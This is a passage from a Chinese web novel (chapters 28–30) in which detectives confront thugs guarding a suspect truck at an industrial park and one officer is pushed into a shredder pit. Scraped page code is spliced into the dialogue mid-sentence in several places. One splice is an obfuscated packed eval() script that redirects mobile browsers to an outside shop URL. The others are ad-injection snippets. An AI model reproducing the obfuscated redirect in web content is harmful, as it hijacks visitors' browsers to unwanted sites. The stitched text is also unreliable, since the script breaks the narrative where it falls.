邵巧巧慌忙间立刻点开手机上的内部软件,下一秒,她不可置信地抬起头:“摄像信号中断了,应该是建筑里开了屏蔽仪。” 唐攸宁这时也快步走过来,正色道:“是不是庆元工业园?唐新荣今天在那里参加招标会,我现在就给他打电话。” 徐长嬴抬起头看向他,立刻了然刚刚视频里的唐总原来是唐攸宁本家的,只见唐攸宁已经拿起手机拨了一个号码,但过了十秒钟,又神色凝重摇了摇头,“他没接,我现在就去找我二哥。” 未等他打第二个电话,张秘书的车已经开到这边了,徐长嬴拍了拍唐攸宁的肩膀,“辛苦你了,不要勉强。” 说罢,他就和夏青等人转身匆匆离去,唐攸宁在他身后叫了他两声哥,他来不及回头就坐进了车里。 张秘书的车开得很快,但他们离工业园太远,就算最快也要半小时,夏青与徐长嬴一起坐在后座,他的神情愈加冷静,刚上车就拨通了一个电话。 “林厅长,我是夏青,5-23案件失踪的货车现在出现在庆元工业园区的废铁处理厂房里,约有三十位的工人正在暴力威胁发现货车的三位重案组警员,警员身上均无配枪,需要立刻处理。” 夏青镇静的语气给车内的人带去了不少安定的力量,他神情肃然但不慌乱,事态再紧急也不会影响他的判断,很快电话那边的人就回复了许多话,足有三分钟,夏青才放下电话。 “公安厅派特警过去了。” 夏青说完,扭过头看向徐长嬴的脸,又加了一句,“先不着急。” 徐长嬴点点头,低头整理思绪时才瞥到左手表盘闪烁的红灯,他连忙拉起袖子将其盖住。 这是怎么了?徐长嬴有些茫然,为什么他最近情绪波动这么大? 徐长嬴攥紧了手,他想到了赵洋和齐枫的怒吼,还有那几十个拿着扳手和铁锹的工人。 和以前不一样,他生命的砝码又增加了。 邵巧巧给方溥心和余梅打了两个电话,方溥心他们已经出发,市局里能出动的刑侦二三支队的警员也都赶往了工业园,据余梅说是齐枫先独自一人溜出招标会发现了金属回收厂房,视频里显示她刚揭开罩着车牌号的篷子时,就有一人发现她,然后厂房的屏蔽仪就将摄影信号中断了。五分钟之后,赵洋打了电话,让他们紧急赶过来,庆元集团的李旭阳带人暴力驱赶他们了。 邵巧巧寒声道:“简直是胆大包天!私藏嫌疑车辆还敢袭警,这可是刑事犯罪!” 张秘书的车开得比预想要快,不过二十分钟出头,他们就到了郊区的穿山隧道,就在这时方溥心等人的警车也出现在后视镜里。 穿过隧道下了那个唯一的支道,庆元工业园区的大门就出现视野里,只是没想到李旭阳他们预留了一手,大门前聚集了足有十个穿着黄色马甲的工人,排了两排水马在门口,轿车进入的通道也降下拦车的警示杆。 徐长嬴还未开口,夏青就冷冷道:“直接撞过去。” 张秘书甚至没有问为什么,就一脚油门直直冲了过去,门口本来聚集着准备寻衅滋事的保安和工人立刻四散,邵巧巧抓紧安全带,颠簸前的一瞬,徐长嬴的手被夏青握住了。 张秘书开的奔驰商务车的保险杠十分强悍,车内只能听到砰砰几声,车就冲进了庆元大门,而他们身后的严建柏等人的警车也紧随其后。 “右转,向前第三个路口再左转。”夏青轻轻松开握住徐长嬴的手,以不容置疑的口吻道,他之前已经记住了工业园的分布路线。 张秘书道了一声是,在空旷的工业园马路上提速,三分钟后车就稳稳停在一个只有一层的蓝色外墙面的钢架厂房前。 徐长嬴拉开车门,就朝着厂房内冲了进去,夏青紧随其后。 刚冲进去,徐长嬴就看到一排排堆叠在一起用塑料篷布罩起来的废弃车架和钢铁机床。 下一秒他就听见齐枫的怒声:“都不许动!再动一下试试!” 徐长嬴的心脏狂跳,他连忙穿过篷布之间的小路,朝着声源的方向跑去,他转过一个弯就看见了那嘈杂的人群。 足足有三十个手里拿着铁器的男人围在一个巨型炉口前,炉口边上就是一个金属破碎器的坑口,而一个被扯了一半篷布的厢式货车就停在坑旁边。 货车前,有三个穿着西服的高层模样的人极为显眼,为首的是一个穿着银灰西服的四十多岁的男人,他身后的黑西服男看上去是他的下属,两人挨着很近,还有一个非常年轻的西装男远远站在人群的边上,看上去不太愿招惹是非。 人群里穿着工作服的领头三人将一个人按在地上,那正是陈秘书,他的头和手臂都受伤了,血泼在地上,徐长嬴看见那血色一瞬间眼就红了。 他们竟然真的敢动手! 徐长嬴又去找齐枫和赵洋,立刻就看见在货车的车轮边上谈松护在另一个姚秘书的面前,那姚秘书脸上也挂了彩,看上去狼狈不堪,但仍然举着手机录着视频。 而就在他们两人的前面,齐枫将一个西装革履的年轻男人死死按在地上,正是庆元李家的李旭阳。而赵洋手里拿着一个生锈的钢管站在一边,他的袖子都被血染红了,身上散发着浓浓的戾气,恶狠狠盯着站在人群前的中年alpha,沉声道:“你把他放了!不然我也给他脑袋开个洞!” 那穿着一身银灰西服的alpha笑了一声,抬起脚就踹了陈秘书的手臂一脚,嗤笑道:“你们这群条子能有种伤人?我劝你现在就给我磕两个头,不然你下辈子也别想干警察。” 咔哒一声。 徐长嬴利索地拉开保险,将枪口抵在了李旭阳的太阳穴。 穿着银灰西服的唐新荣脸上的笑僵住了,厂房内一瞬间仿佛被按下了暂停键。 徐长嬴冷笑道:“那我这个无编制人员不在乎干不干警察,你猜我敢不敢给他脑袋开个洞呢?” 齐枫欣喜地喊了一声,“老大!” 银灰色西装男正是唐新荣,他似乎没想到会突然杀出一个程咬金,回头对着黑西装男人气急败坏道:“李嘉玉不是说了派人守住大门了吗!” “哦,还有李嘉玉啊,”徐长嬴面上突然露出了森冷的笑容,“多年不见他还真是变有种了,但和我比就不一定了,我数三声,你把人放了,不然就来猜猜我手里的是不是真家伙。” 在场所有人都被面前这个男人吓住了。 赵洋拎着钢管,看向蹲在地上的徐长嬴,似乎也怔住了。 “三。” 徐长嬴笑着数了第一声。 唐新荣看着他笑意吟吟地移了移枪,枪口贴紧了李旭阳的太阳穴。 唐新荣宛若见了鬼一样,大声道:“你是谁!你怎么会认识李嘉玉?” 可惜没有人回答他,硕大的厂房里没有人敢大声喘息,安静的就像太平间。 “砰!” 完了,唐新荣浑身一抖,他一瞬间眼前都白花花一片了,半秒后才回过神,却见拿枪的年轻男人龇着牙对他笑了笑——刚刚居然是这人自己喊的! “不好意思,开个玩笑,二!”徐长嬴又扬声喊道。 “他妈的你神经病吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049273|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”唐新荣身边的黑西装也差点被吓地魂飞魄散,气急败坏地破口大骂起来,只是他脸色惨白如纸,骂完又开始抖着声音劝起唐新荣:“唐总,咱们把这个秘书放了吧,这个人要是真开枪,李总怎么办,庆元——” 徐长嬴微笑看着他们,感受到自己手底下男人身体开始克制不住地发抖,小声结巴道:“别开枪,别开枪,我让他们放人……” 他脸上也是青紫一片,看上去齐枫没收手劲,都快把这个年轻的小纨绔给打成脑震荡了。 徐长嬴抬起眼,笑着望着唐新荣,状似可惜地摇了摇头,左手抓着李旭阳的头发缓缓往地下按,巨大的手劲几乎将他的脸与水泥地面按在了一起,李旭阳的任何挣扎都无济于事,就像案板上待宰的鱼。 出现的一分钟里,这个男人的行为举止简直毫无逻辑,瞬间就以非同一般的疯狂气场震慑住了所有人,甚至在他身边的齐枫和赵洋也脸色发灰,几乎拿不准他是不是真的要开枪。 突然,徐长嬴笑了笑,双唇微动,正要喊出一的那一刻,他手底下的男人哭了。 “唐新荣!把人放了!快点!”年轻的李家公子撕心裂肺地哭了起来。 唐新荣也慌了神,赵洋捏着钢管走上前,喝道:“听到了吗!放人!” 按着陈秘书的工人们应该是李家的人,比起唐新荣,李旭阳毕竟才是李家的主子,再加上那三个工人内心早就被徐长嬴的极其恶毒的气势给动摇了,此时见唐新荣支支吾吾,而这时原来站在角落的年轻alpha走了过来,他扬了扬下巴冷冷道:“放了。” 这个年轻alpha眉眼俊朗,很有唐家人的特色,而且他的混血感要更重些。 几乎是他话音刚落,那三个工人就将陈秘书推了出去, “喂!”唐新荣急道。 但赵洋已经一把接过陈秘书,并半搂着他将其直接拖到自己的身边。 唐新荣见状就连忙恶狠狠道:“那你快把李总放了!” “为什么?” 徐长嬴却歪着头,似乎听不懂他在说什么。 一瞬间,唐新荣和被他按着的李旭阳都懵了。 众目睽睽之下,徐长嬴皱起眉头,嗤笑了一声,道:“你们他妈犯法了知道吗?” 又是咔哒一声,徐长嬴将手铐反手铐住了李旭阳的手上。 唐新荣被他彻底激怒了,“快上!把他们按住,他不敢开枪!” 一脸凶神恶煞地打手们刚向前迈了一步,就都不敢动了。 就在一瞬间,从四面八方的塑料篷布后走出了一群持枪的警察,宋瑜立率先喝道:“把手里的武器放下!立刻马上!” 唐新荣气得浑身哆嗦,指着他们愤怒道:“你们这是非法搜捕!这里是私人领域!你们敢暴力执法,我一定不会放过你们!” “你们目前涉及故意伤害罪,妨碍公务罪和袭警罪,待查证的hei社会性质组织罪,并且作为5·23大案的犯罪嫌疑人。” 夏青从警员身边一步步走到唐新荣的面前,脸上满是冷峻之意:“警方有足够的理由现在就将你们拘留。” 唐新荣看着他,瞪大了双眼,又扭头看了看被拷起来的李旭阳,脸上满是不可置信:“你是夏青?怪不得这两个秘书是兴安的,你疯了吗!这里可是庆元!” 徐长嬴手底下的李旭阳听到唐新荣的话时突然挣扎起来,齐枫毫不客气地搡了一把他的脑袋,喝道:“老实点!” 但这个李家阔少却突然哭了起来:“根本不管我的事情,是五叔叔派我来的!我什么都不知道!哥,你快让他们放了我!妈妈还说了今晚要我们一起回去的!” 徐长嬴愣了一瞬。 妈妈? 28. 3号指令(上) 妈妈? 谁的妈妈?徐长嬴正在纳闷的时候,齐枫毫不客气地将李旭阳单手从地上提了起来,唐新荣望着这个一脸血的女性alpha,嘴唇抖了抖。 张秘书拎着车上的医药箱跟着班杰明一起冲了过来,两人从赵洋的手上接过受伤最严重的陈秘书,给他紧急处理起伤口。 张秘书低声宽慰道:“组长你忍一忍,很快救护车就来了。” 赵洋铛地一声将手里的锈钢管甩在地上,擦了一把脸上的汗和灰,满是戾气嗤道:“谁是你哥?现在叫什么妈,你妈是美国总统你今天也得在看守所蹲着!” 李旭阳左眼已经肿了起来,徐长嬴等人根本没忘记他就是赵兰月案子里的重要嫌疑人,因此他们三个人轮流下手都很阴,刚刚徐长嬴把他按在地上,还给他右脸蹭出一大片血痕,看上去很是唬人。 与之前想的嚣张纨绔形象不同,李旭阳的孬种程度和李嘉玉有的一拼,怪不得他口口声声都是他的五叔叔,此时李旭阳站起来之后又开始挣扎起来。 齐枫一时没拽紧他,下一刻李旭阳竟然冲着夏青哭道:“哥,我真的什么都不知道,是嘉玉叔叔喊我来的,嘉玉叔他今天不在广州!这几个警察突然闯进我们的库房,我们的工人拦住他们,他们就把我按住打了一顿!” 徐长嬴和赵洋都愣住了。 夏青怎么就是李旭阳的哥了?他俩简直八竿子打不着。 夏青丝毫不为所动,他转头看向痛哭流涕的李旭阳,面无表情道:“今天的警察就是我派进来的,你不认识陈秘书吗?” 李旭阳呆滞住了,唐新荣闻言立刻咬牙切齿在一边骂道:“夏青你这个沽名钓誉的小人,居然使这种下作手段把条子偷偷带进庆元,你不觉得羞耻吗?你这个装模作样的伪君子,连家里人都能出卖!你以为李家会放过你吗?” 李旭阳脸色却陡然变了,急忙摇了摇头,涕泗横流道:“不是的,这些都是误会,我会和爸爸还有妈妈解释的,哥我真的不知道今天的事情,我才过来和五叔叔工作两个月,你们误会我了,我问了唐总他也不告诉我——” 唐新荣被当场背刺,脸上青红一片,在场的重案组等人也暗自佩服起李家这个年轻alpha的脸皮厚度,只是夏青并没有理会李旭阳的投诚,只是对着他冷冷说了一句话:“事情会查清楚,你要为你做的事负责。” 李旭阳似乎没想到他真的如此对自己,脸上闪过一丝不甘和怨恨,但下一瞬他就被齐枫薅小鸡仔一样拖到方溥心和余梅那边,张齐和田成益立刻就接过手将这个李家少爷控制了起来。 “哥你不能这么对我!涵山妈妈还在家等我们,她一定会不高兴的!我要回家!放开我,滚开!你们有种去抓李嘉玉!关我屁事!我要告你们!你们暴力执法,故意伤人,我一定要告你们!” 张齐和田成益两个老警察比起齐枫和赵洋要更有经验,威喝了几句就将李旭阳吓得不再吭声。 徐长嬴这时静静站在原地,在听到李旭阳提到涵山妈妈的那一刻,他像是坠入了冰窖。 原来如此,夏青的母亲后来嫁到了庆元李家,嫁给了李旭阳的父亲李嘉豪,怪不得唐新荣和李旭阳看见夏青后这么惊讶。 原来那个母亲还拥有了新的儿子和家庭,还过得如此母慈子孝。 严建柏举着枪,以不容置疑的严肃口吻道:“唐先生,你和你的手下涉嫌故意伤人和妨碍公务,我们现在立刻逮捕你们,请不要做无谓的挣扎,这只会加重你们身上的罪行。” 唐新荣此人作为唐家的长房子弟,行事不可谓不嚣张,被六把手枪对着他居然并不害怕,他身后的三十余人虽然穿着车间工人的制服,但是几乎都是清一色的alpha,不少人手和脖子上还有刺青,一看就是庆元李家不知道以什么样的名义集结起来的一群专业打手,见领头的唐新荣不为所动,竟然也跟着虎视眈眈地看着严建柏等人。 夏青孤身上前,对众人冷冷道:“还有十五分钟,公安厅的特警部队就到了,你们本就没有选择。” 唐新荣眼中闪过慌乱,他与身边的黑西装对视一眼,又猛地回过头怒道:“那又如何,我唐家岂是你们这些擅闯工业车间的警察能吓唬的!夏青你以为你是个什么了不得的人物?我看你们谁敢动我!” 徐长嬴在一旁检查过赵洋和齐枫身上的伤没有大碍后就走了过来,唐新荣正在怒视夏青,但是见这人过来,他背脊竟然隐隐冒出一阵阴寒。 徐长嬴此时已经将沾上血的外套脱了,一身黑衬衫黑裤,腰间的枪套都没合上,枪柄还露在外面,望着唐新荣就露出标准的露齿笑,唐新荣大抵是觉得他是个精神不正常的疯子,居然比起夏青更怕他。 徐长嬴走上前与夏青并排站在,他摊开手,一脸诚恳劝道:“唐先生,何苦呢,您这骑虎难下的,又不是死罪,十五分钟后被特警按在地上套黑头套多难看,现在咱们和和气气一起上车就完事了,别那么好面子。” 唐新荣边上的黑西装高管脸都绿了,指着徐长嬴的鼻子喝道:“你阴阳怪气什么呢!你算什么东西,你以为你在和谁说话!你真以为你们能有正当理由带走唐总吗,惹了唐家你们今天光凭着暴力执法还有非法搜查都吃不了兜着走!” 徐长嬴摇了摇手指,无奈道:“我们行动合不合规也得等你们被逮捕之后再慢慢算,”随即他就看向那三十多个打手,继续煽动道:“诸位可要想清楚,被特警带走那可就是新账旧账一起算了,十分钟后还拎着扳手铲子的没罪都要算三分。” 话音一落,唐新荣阵营的那些工人脸上都变换了神情,徐长嬴又指了指身后,又添油加醋道:“拜托,你们李总都拷起来了,你们是脑子不清楚吗,以为唐新荣一个外人真的能保住你们?” 唐新荣气得鼻子都歪了,怒道:“我唐新荣活到现在还没怕过谁,林家在我们唐家面前算个什么东西,我是外籍人员轮不到你们这些看门狗来管我!” 赵洋青筋狂跳,恨不得冲上前给他几耳光,但被余梅拽住了,方溥心冲他使了使眼色,“强弩之末”,他低声道。 局势已经定了,失踪的货车已经找到,支援的特警也在路上,庆元和唐家加在一起也保不住现在的唐新荣。 “好!”徐长嬴双手一拍,根本没有被唐新荣的辱骂激怒,反而绕过他们俩个,对着他们身边的打手们鼓舞打气一般:“现在要配合警察的请举手!放下铲子和铁棍——你们大部分人还不知道顶头上司犯的是什么罪吧,你们看李总都哭成那样都不敢承认,还有十分钟,十分钟之后罪名就升级了,到时候你们不仅是流氓,还是恶性杀人案的共犯了!” 黑西装男被这个神经病彻底气疯了:“你在胡说八道什么!什么恶性杀人案!是你们擅闯私企,殴打职员,我们这是正当防卫!” 徐长嬴眼中闪烁着莹莹的光,他微微收了下巴,意味深长的笑道:“真的吗?这么说你身后这些人真的都被你们蒙在鼓里?他们真不知道自己在犯什么罪?” 黑西装的脸色彻底绿了,赵洋和齐枫才反应过来徐长嬴在诈唐新荣的话,他们身后这帮打手的确并不知道货车真正的底细,甚至根本不知道自己被卷入了全国皆知的5·23大案之中。 打手们已经开始躁动,为首的三个人身上还沾着陈秘书的血,这时脸色铁青,手里紧紧攥着铁棍,眼神却移到了唐新荣的身上。 唐新荣歹毒的眼神从夏青扫到徐长嬴的脸上,他与年轻的李旭阳不同,他自认为自己是唐家人和外籍,怎么都会像以前无数次一样轻松脱身,此刻无论如何都不会如重案组的愿被铐上双手拘留在看守所,这也是他作为所谓权贵阶级刻在骨子里的自负。 唐新荣已经暗暗盘算起自己在公安厅的人脉,但徐长嬴那让他恨之入骨的声音再次突然响起:“好的,这位先生主动举手了!” 唐新荣怒道:“谁!” 他一扭头,却发 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 现居然是站在他旁边的年轻alpha。 唐新荣没想到居然是自己带来的人,他的眼几乎冒出了火,他狠狠骂道:“唐英韶!你疯了吗!你这个吃里扒外的杂种,我就不该带你来!” 他骂的实在是太过难听,这个被叫作唐英韶的年轻alpha,看上去不过二十来岁,个子高挑但身形偏瘦,混血感十足的精致面容上却并没有露出强烈的情绪,他只是不屑地看了唐新荣一眼,冷冷道:“我根本就没想来,我也不想因为你坐牢。” 唐家人之间的尖酸对话让重案组都暗自交流了一下眼神,唐英韶说完就迈出大长腿跨过液压粉碎坑洞的一角,竟然直直朝着徐长嬴走来。 唐英韶一双阴郁的眼睛紧紧盯着徐长嬴,徐长嬴正要说什么,对方突然将双手举到他面前。 徐长嬴:“这位帅哥您是?” 唐英韶:“你不拷起来吗?” 徐长嬴很少遇到如此配合自己口嗨的嫌疑人,他也真的摸了摸腰间,又有些尴尬和小心翼翼道:“我就带了一副手铐给小李总了,要不您去我同事那里?他们有多的。” 唐英韶居然轻笑了一声,徐长嬴听出他应该是在嘲笑自己,笑完唐英韶就大步一迈,头也不回,真的朝着齐枫走过去,举起双手让她将自己拷了起来。 这个离奇的走向简直出乎了两方人马的意料,齐枫一脸狐疑和警惕地给他拷了起来又将他薅到一边和李旭阳蹲一起。 徐长嬴与夏青对视一秒,又微笑着看向对面。 “现在,还有人要弃暗投明吗?” 唐新荣气得浑身发抖。 虽然时间一分一秒过去,也没有人主动投诚,但唐新荣自己也开始认识到自己是穷途末路,焦虑的神色越来越明显,实际上徐长嬴都猜不到他到底在坚持什么,货车都被查到了,他犯的罪很快就都会水落石出,为什么一定要死撑着等到最难堪的一刻。 徐长嬴正在继续不厌其烦地对唐新荣说现在和他们一起上警车的好处,突然空旷的厂房里响起一阵震动声,正是黑西装手中的手机传来的,徐长嬴被打断了一瞬,而这时唐新荣接过手机看了一眼,蓦地神情就变了,面如死灰。 “东西都放下。”唐新荣突然开口,居然是对自己身后的打手说话。 众打手都面面相觑,严建柏等人神经又紧绷起来,他们根本不知道唐新荣又在耍什么花招。 重案组警员们持枪缓缓靠近,将数量众多的人包围起来,徐长嬴也站直了身体,向前一步将夏青挡在身后。 “东西都放下,没听见吗!”唐新荣喝道。 打手们早就犹疑不定了,不知道是谁率先扔了家伙,下一刻叮当的金属声哗啦啦地都响了起来。 赵洋和宋瑜立站在两边,喝道:“把东西都踢到坑里,靠墙双手抱头蹲下!” 很快各式铁器都被踢进了粉碎机所在的深坑里,打手们在几个警员的呵斥下不情不愿地蹲在了墙边,齐枫指着唐新荣和黑西装喝道:“你们俩现在站到最后面!” 唐新荣却站得笔直,脸上露出讽刺的笑容:“对谁狗叫呢?我这已经给了你脸,别不要脸。” 齐枫瞪着她那双圆眼睛,恨不得真扑上去咬死他,严建柏严肃道:“别冲动。” 谈松走上前毫不客气地推了一下唐新荣,却被唐新荣恼怒地挣开了,又站了回去:“别碰我!你算什么东西!我想站哪就站哪儿!” 这时唐新荣和黑西装的身后还聚集着三十多个蠢蠢欲动的打手,于是方溥心便摇摇头,让谈松与他先保持距离。 因为唐新荣和黑西装直直站在原地不肯动,徐长嬴和夏青就跨过粉碎机坑的一角走了过去,四人一起都站在坑边,徐长嬴直截了当问道:“你刚刚接到的是不是李嘉玉的短信?他是主谋还是你是主谋?” 唐新荣抽着嘴角正欲再说些不干不净的话,但不知为什么突然愣住了,随即他诧异叫道:“你是beta!” 29. 3号指令(下) 徐长嬴一脸莫名其妙道:“是就是,你叫那么大声干什么?” 唐新荣脸上瞬间如同打翻的酱油铺子,什么情绪都有,随即他呸了一声,轻蔑道:“下流货色还挺会装模作样的,刚刚离得远还真把我唬住了,就你这种没进化的畜生也能是警察?你们大陆的狗质量这几年怎么还不如之前,真是搞笑,我就说你这人怎么疯疯癫癫精神不正常,原来是个杂种!” 徐长嬴还未说话,身侧的夏青就上前一步,怒喝道:“闭嘴!” 他比唐新荣要高近半个头,一向神情淡漠的面上瞬间涌出汹涌的怒意,与此同时,在徐长嬴感知不到的空气里,极优性alpha的信息素瞬间就将唐新荣和钟和平都拖进了无形的恐怖威压之中。 也就是在这一刻,重案组众人才第一次真正意识到这个举止有礼的年轻教授是一个站在信息素压制力顶端的极优性alpha,他对于信息素的控制力精确得恐怖,以至于在唐新荣三步以外的赵洋和谈松都没有被拖入威压之中。 唐新荣只能感受到生理性的战栗从自己胸腔深处飞速扩散至全身,他足足用了三秒才找回手指尖的知觉,反应过来后他旋即陷入了深深的羞耻感和怨恨之中,恼羞成怒道:“夏青你居然敢对我使用信息素压制!你好大的胆子!你这么能共情这下贱beta,还不是想起自己之前当杂种的日子了,谁不知道当年你和你母亲——” “七叔,我找了你半天找不见,原来你是在这鸟不拉屎的地方和警察说八卦。”突然,一个男人声音从入口方向远远传来。 众人扭过头,徐长嬴看见唐攸宁和四个西装革履的高壮男人大步走了过来,明明刚刚的语气还带着戏谑,但他的脸上却满是冰冷的寒意,不见一丝笑意。 唐新荣看见他,才积攒起的一点气势瞬间就消散了,他几乎是语无伦次:“攸宁,你怎么过来了!谁和你说的?” 唐攸宁看了看他,又看了看戴着手铐百无聊赖站在角落里的唐英韶,他摇了摇头:“七叔,我记得你是代替顺远外贸来参加庆元招标会的,我怎么不知道你在庆元成主话人了?我本是看在你求我的份上我才把公司交给你管的,你既然瞧不上,我这里以后你就别来了。” 唐新荣脸色惨白,他虽然是唐闳蕴的亲生儿子,但作为普通alpha在众多子孙中并不出众,年过不惑依旧没有能够撑腰的支柱产业,尤其是与这个唐家阔别三十多年的优性alpha侄子比起来,他手上的资产简直是九牛一毛。 唐攸宁冰冷又轻飘飘的几句话几乎瓦解了唐新荣的全部抵抗意图,而这时除了邵巧巧,重案组的其他人也都不知道为什么这个传说中的唐家继承人会突然出现。 唐攸宁眼神瞥过徐长嬴并没有停留,也似乎并不在乎在场剑拔弩张的警察和打手,只是微微偏过头,面无表情道:“二哥知道你带着英韶在这和警察打架后非常生气,他道你肯定不服,所以让自家人过来帮帮警察。” 话音一落,他身后的保镖直接阔步上前,直直朝着唐新荣走去,方溥心和严建柏对视一眼,和站在一旁的赵洋挪开了位置。 唐新荣彻底慌了,但唐家保镖的手如同铁钳一般抓住了他的两个肩膀和胳膊,以极其专业的身法将他死死按住,唐新荣的发胶和衣服都被挣扎乱了,看上去狼狈无比,短短几秒后再也没有之前嚣张的模样。 徐长嬴望着这荒唐的一幕,轻轻松了一口气,一只手就轻轻搭在他的肩膀上。 徐长嬴转过脸,夏青因为刚刚的情绪起伏,脸上的神情生动了一些,一双眼睛静静看着他,似乎有话说,但没有说出来。 “放开我!我现在还不能走!不能走!别碰我!”唐新荣大喊道。 方溥心没有放过他,拿着手铐直接反手将其拷了起来,唐家保镖这才松开对唐新荣的钳制,只是一人一边架着他,方溥心又看了看时间,不过几分钟的事,特警部队很快就会过来接手这个集体犯罪现场。 唐新荣在感受到手腕上那冰冷的触觉后,浑身哆嗦起来,好像犯了什么疾病,惹得边上的宋瑜立一脸奇怪地打量他,谁知几秒后突然他眼睛通红,对着一旁黑西装心腹吼道:“愣着干嘛!3号指令你忘了吗?” 赵洋本来正和齐枫一起不动声色地打量着不远处那一身荧光粉的唐家优性alpha,唐新荣突然爆发出来的呐喊将他们的思绪瞬间拉回现实。 站在一旁的徐长嬴眉头一皱,万千思绪闪过:什么指令? 紧接着,就在下一瞬,他的余光瞥见唐新荣疯狂挣脱保镖的手,面露凶光,以从未见过的恨意朝着夏青冲了过来! 电光火石之间,徐长嬴又看见唐新荣身后的黑西装扑向了粉碎机边上的中控台——不对!他们要开液压粉碎机! 这个厂房里的大型液压粉碎机是庆元内部改造的,简单而言就是一个巨大的深坑,坑底是传输带,坑的中间以巨大的扣在一起的齿轮作为碾压粉碎部件,就算是近十厘米的钢板也能被强大的绞合力给撕碎,其结构原理很像自动扶梯不断滚动的台阶履带。 如果是人掉进去,和掉进搅拌机就没有区别了。 一瞬间,徐长嬴的胸腔仿佛空了。 不知为什么,这一刻夏青的面容像是晚秋天边的云一样,不过须臾就飘忽不见了。 在众人的视角里,只见徐长嬴猛地将夏青的肩膀撞开,紧接着他就被突然冲上前的唐新荣一头撞进了满是铁器和巨大齿轮的深坑里,而下一瞬间粉碎机就发出了瘆人的轰鸣声。 “徐长嬴!”唐攸宁撕心裂肺地扑了上去。 在场所有人都没有预料到这毫无征兆的灾难,只有赵洋怒吼了一声,抢过方溥心手中的枪,在零点五秒之内拉开保险,一枪打在中控台前那个黑西装的肩膀上! 齐枫被赵洋的枪声瞬间惊醒,她红着眼猛地冲了上去,一把薅起那哀嚎的黑西装将他一头撞在墙上,发出恐怖的闷响,边上两个想继续冲上去控制开关的打手首领也被齐枫一脚踹翻,痛苦地抱着肚子在地上打滚。 李嘉丽颤抖着声音大喊:“快点救人!” 粉碎机恐怖的启动声只响了半秒就停下了,谈松和宋瑜立正要冲上前,只见夏青已经纵身一跃跳进了粉碎坑里。 邵巧巧尖叫道:“夏教授!” 那个坑直径有五米,齿轮犬牙交错般形成的平台面与地面有将近两米,夏青跳了下去只踉跄了一下,就扑上前抱起了没了动静的徐长嬴。 齐枫一脸戾气和眼泪地守在中控台边上,怒视着所有可能要上前的打手,而赵洋将枪塞给 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 方溥心就跌跌撞撞扑在了粉碎坑边上。 徐长嬴模糊之中感觉有人将他用力地抱起来翻过身,温热的液体在他的头发和面庞上流动着,他变得不太灵敏的嗅觉过了好久才告诉那是血,他这时又感受到抱着自己的手在控制不住的颤抖着。 剧烈的冲击带来的短暂昏迷里他想不起发生了什么事,他感觉眼前很亮也很吵,一瞬间以为自己又回到了杭州的特护病房,尤其是他好像听到了唐攸宁的声音,但他的声音又有些远。 那抱着自己的人是谁呢? 徐长嬴感觉到那人抱着自己有些不稳地走了几步,他就听到那人一边托起他一边说:“小心胳膊,被压了一下,有钢筋穿进去了。” 因为身体移动造成伤口的剧烈疼痛,徐长嬴在昏了几十秒后又醒了过来,李嘉丽正在一旁柔声道:“应该撞到了头,幸好没有被挤进粉碎机部件里。” 而赵洋和齐枫围在他的身边,见他睁开了眼睛,赵洋红着眼眶咬牙切齿道:“你蠢啊,你抬脚踹他呀!你把夏青撞开你自己怎么躲!” 徐长嬴低着头,看见一只手拿着纱布紧紧按在自己的肩膀上,那只手的虎口有一道细长的白色缝合疤痕。 徐长嬴刚松了一口气,就听见一阵急促的脚步声响起,全副武装的特警部队分三路进入厂房内部,为首的长官抬手向严建柏敬了礼,就迅速接手了现场,将三十多个打手和唐新荣等人给严严实实地围了起来。 徐长嬴正要开口说话,一张嘴却尝到浓厚的血腥味,舌头和鼻子这才后知后觉发出锐利的疼痛,“我靠,我嘴里怎么全是血。” “别说话。”夏青的声音在他头顶上方突然响起,徐长嬴这才发现他原来半躺在夏青怀里。 夏青紧接着又解释道:“你口腔和鼻腔都在出血,你自己止不住。” 徐长嬴用没受伤的右手下意识摸了一把鼻子下面,摸了一手滑溜溜的血,齐枫连忙道:“你干什么!” 徐长嬴这时才知道原来他两个鼻孔还在像水龙头一样哗哗流血。 唐攸宁的怒吼声在不远处响起:“救护车怎么还没来!不是提前就通知了吗!你们干什么吃的!” 唐新荣还在挣扎,他对着押着自己的两个特警叫道:“你们没有权利抓我!我不归你们管!我是美国国籍!唐攸宁,你是哑巴了吗!你怎么不给你七叔说话!” 唐攸宁指着他,对着站在他面前的特警队长厉声道:“立刻把他抓走,他妈的他故意杀人了!赶紧判刑!” 唐新荣不可置信地对着他大喊:“你是脑子坏了吗!唐攸宁!我是你亲叔叔,你他妈算什么唐家人——” 唐攸宁带着拎着急救箱的保镖折回来的时候,看见的就是鼻子以下全是血的徐长嬴躺在夏青怀里,伸着头看着他,一张嘴血就漏出来,上下两排牙都是鲜红色的,“你怎么回来哇?”(你怎么回来了) 保镖蹲了下来,他将新的纱布拆开递给夏青,夏青接过替换掉已经被血浸透的那块,接着保镖就开始处理徐长嬴鼻腔里的出血。 围在徐长嬴边上的赵洋、齐枫、余梅和李嘉丽抬起头,只见原本面无表情低头盯着徐长嬴的唐家优性alpha,他的肩膀微微颤抖起来,抖了一小会儿,眼泪就如变戏法一样涌了出来。 30. 不眠之夜 “我不是有意的。” 唐攸宁声泪俱下道。 彼时,全副武装的特警在粉碎机中控台边上拉起黄色警戒线,井然有序地手持冲锋枪和防爆盾牌将三十多个嫌疑人拷起来,一一送上警车。 赵洋一脸震撼地看着面前这个粉红色alpha抬起袖子擦着眼泪崩溃痛哭道:“我不知道唐新荣那个傻逼有那么大的胆子,我要找我爷爷去请最好的律师让他蹲一辈子大牢,我真不是故意的,对不起,学长——” 